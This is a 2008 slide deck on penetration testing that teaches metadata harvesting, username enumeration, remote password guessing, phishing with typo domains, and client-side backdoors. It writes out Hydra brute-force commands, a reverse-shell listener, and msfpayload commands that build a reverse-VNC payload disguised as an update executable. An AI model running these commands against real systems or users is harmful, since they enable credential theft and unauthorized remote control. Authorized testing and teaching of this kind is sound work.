Beyond Front-line Exploits

Beyond Front-Line Exploits: Tips and Tools for Comprehensive Penetration Testing

Lenny Zeltser Security Consultant, SAVVIS Senior Faculty Member, SANS Institute Handler, SANS Internet Storm Center

August 2008

Pen testing usually involves locating and exploiting software bugs.

© 2008 Lenny Zeltser

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Attack surface of many server environments is very limited.

What if you couldn’t exploit any software vulnerabilities?

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Consider 4 techniques for going beyond the front-line approach.

Data in plain sight

Social engineering

Remote passwordguessing

Client-side backdoors

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#1: Data in plain sight

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Google

site:example.com

filetype:pdf

site:example.com

filetype:ppt

site:example.com

filetype:doc

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libextractor

$ extract

sample.pdf

sample.ppt

sample.doc

$ extract overview.ppt paragraph count - 2 last saved by - Lenny Zeltser title - Project overview creation date - 2008-03-14T01:58:53Z creator - John Smith word count - 5 date - 2008-03-14T04:56:57Z generator - Microsoft Office PowerPoint

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Google + libextractor = Metagoofil

$ metagoofil.py -d example.com -f all -l 10 –o o.html –t o

$ metagoofil.py -d zeltser.com -f all -l 10 –o o.html –t o [+] Searching in zeltser.com for: pdf [+] Total results in google: 11 [ 1/11 ] http://www.zeltser.com/.../impersonation-attacks.pdf [ 2/11 ] http://www.zeltser.com/.../multi-firewall.pdf ... [+] Searching results: 0 [ 1/1 ] http://www.zeltser.com/.../malicious-agents.ppt Usernames found: ================ Lenny Zeltser (www.zeltser.com)

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Finding documents via Maltego

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Finding interesting files via Maltego

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#2: Remote Password-Guessing

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Potential usernames: ranked word lists

http://www.census.gov/genealogy/names/names_files.html

Top Last Names

Top Female First Names

Top Male First Names

smith

mary

james

johnson

patricia

john

williams

linda

robert

jones

barbara

michael

brown

elizabeth

william

davis

jennifer

david

miller

maria

richard

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Potential usernames: theHarvester $ theHarvester.py -d example.com –l 3 -b google [email protected] [email protected] [email protected]

$ theHarvester.py -d example.com –l 3 -b linkedin Mark Jameson James Quieras Robert Marcus

$ theHarvester.py -d example.com –l 3 -b pgp [email protected] [email protected] [email protected] © 2008 Lenny Zeltser

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Wrong username vs. password

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Confirm usernames with Brutus by varying only usernames.

Many

One

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A head-on brute-force password attack will probably fail.

Create a short list of potential passwords.

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Some common generic passwords

password

baseball1

iloveyou

querty1

soccer

password1

football1

iloveyou1

querty123

windows

abc123

123456

monkey

bitch1

1qaz2wsx

123abc

123123

cookie123

flower

gospel

fuckyou

monkey1

miss4you

123qwe

superman 1

fuckyou1

princess1

clumsy

manager

admin

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Best results with a companyspecific dictionary file

Briefly Britain British brother browser Bugtraq Bugbear bundled

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Password recovery mechanisms are weak links.

They often depend on security of the email system. © 2008 Lenny Zeltser

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Also, “secret question” recovery is a prime candidate for attack.

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Letting users select their own questions is particularly weak.

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Use LDAP if you find it—much faster authentication.

$ hydra -L users.txt –P passwords.txt ldap.example.com ldap2 Hydra v5.4 (c) 2006 by van Hauser / THC Hydra (http://www.thc.org) 15 tasks, 26753 login tries [DATA] attacking service ldap2 on port 389 [389][ldap] login: CN=Robert Marcus,OU=IT,O=ACME Example password: Bugbear

$ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*' -h ldap.example.com

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Brute-force Remote Desktop credentials with TSGrinder.

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TSGrinder is slow, and requires an older Remote Desktop client (v5).

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#3: Social engineering

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Tricking employees to release information works too well.

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Email phishing-style campaigns can obtain logon credentials.

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ArGoSoft Mail Server Freeware helps relay spoofed email.

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You can register a domain that resembles that of the target.

http://www.domaintools.com/domain-typo

xeample.com eaxmple.com exampe.net exapmle.com eaxmple.com wwwexample.co m exampel.com © 2008 Lenny Zeltser

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Too many users will give up their logon credentials.

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The site can also capture client-side details for follow-on attacks.

USER: jsmith PASSWORD: plumlips LOCAL IP: 192.168.2.144 REMOTE IP: 208.77.188.166 PORT: 61035 USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; enUS; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1; Mozilla Default Plug-in; RealJukebox NS Plugin; RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit); Shockwave Flash; Java(TM) Platform SE 6 U2;

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#4: Client-Side Backdoors

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Keeping up with security patches on laptops and desktops is hard.

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Tools such as Core Impact and Metasploit help target client-side vulnerabilities.

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It may be more effective just to ask the user to install the backdoor.

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The backdoor can connect to the attacking system via reverse-shell.

$ C:\attacker> nc -l -p 80 Microsoft Windows [Version 6.0.6000] Copyright (c) 2006 Microsoft Corporation. All rights reserved C:\Windows\Temp> dir ...

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Metasploit can generate stand-alone payloads. Example: Reverse-VNC.

$ msfpayload windows/vncinject/reverse_tcp LPORT=5544 LHOST=192.168.1.124 DisableCourtesyShell=True X > update2.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/vncinject/reverse_tcp Length: 177 Options: LHOST=192.168.1.124,LPORT=5544, DisableCourtesyShell=True

$ msfcli exploit/multi/handler LPORT=5544 PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124 DisableCourtesyShell=True E

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Reverse-VNC can control a system even if it is behind a firewall.

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A system compromise is just a means to an end.

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Consider previous scenarios when defining your rules of engagement.

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These approaches increase the chances of a “successful” pen test.

Data in plain sight

Social engineering

Remote passwordguessing

Client-side backdoors

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Lenny Zeltser www.zeltser.com

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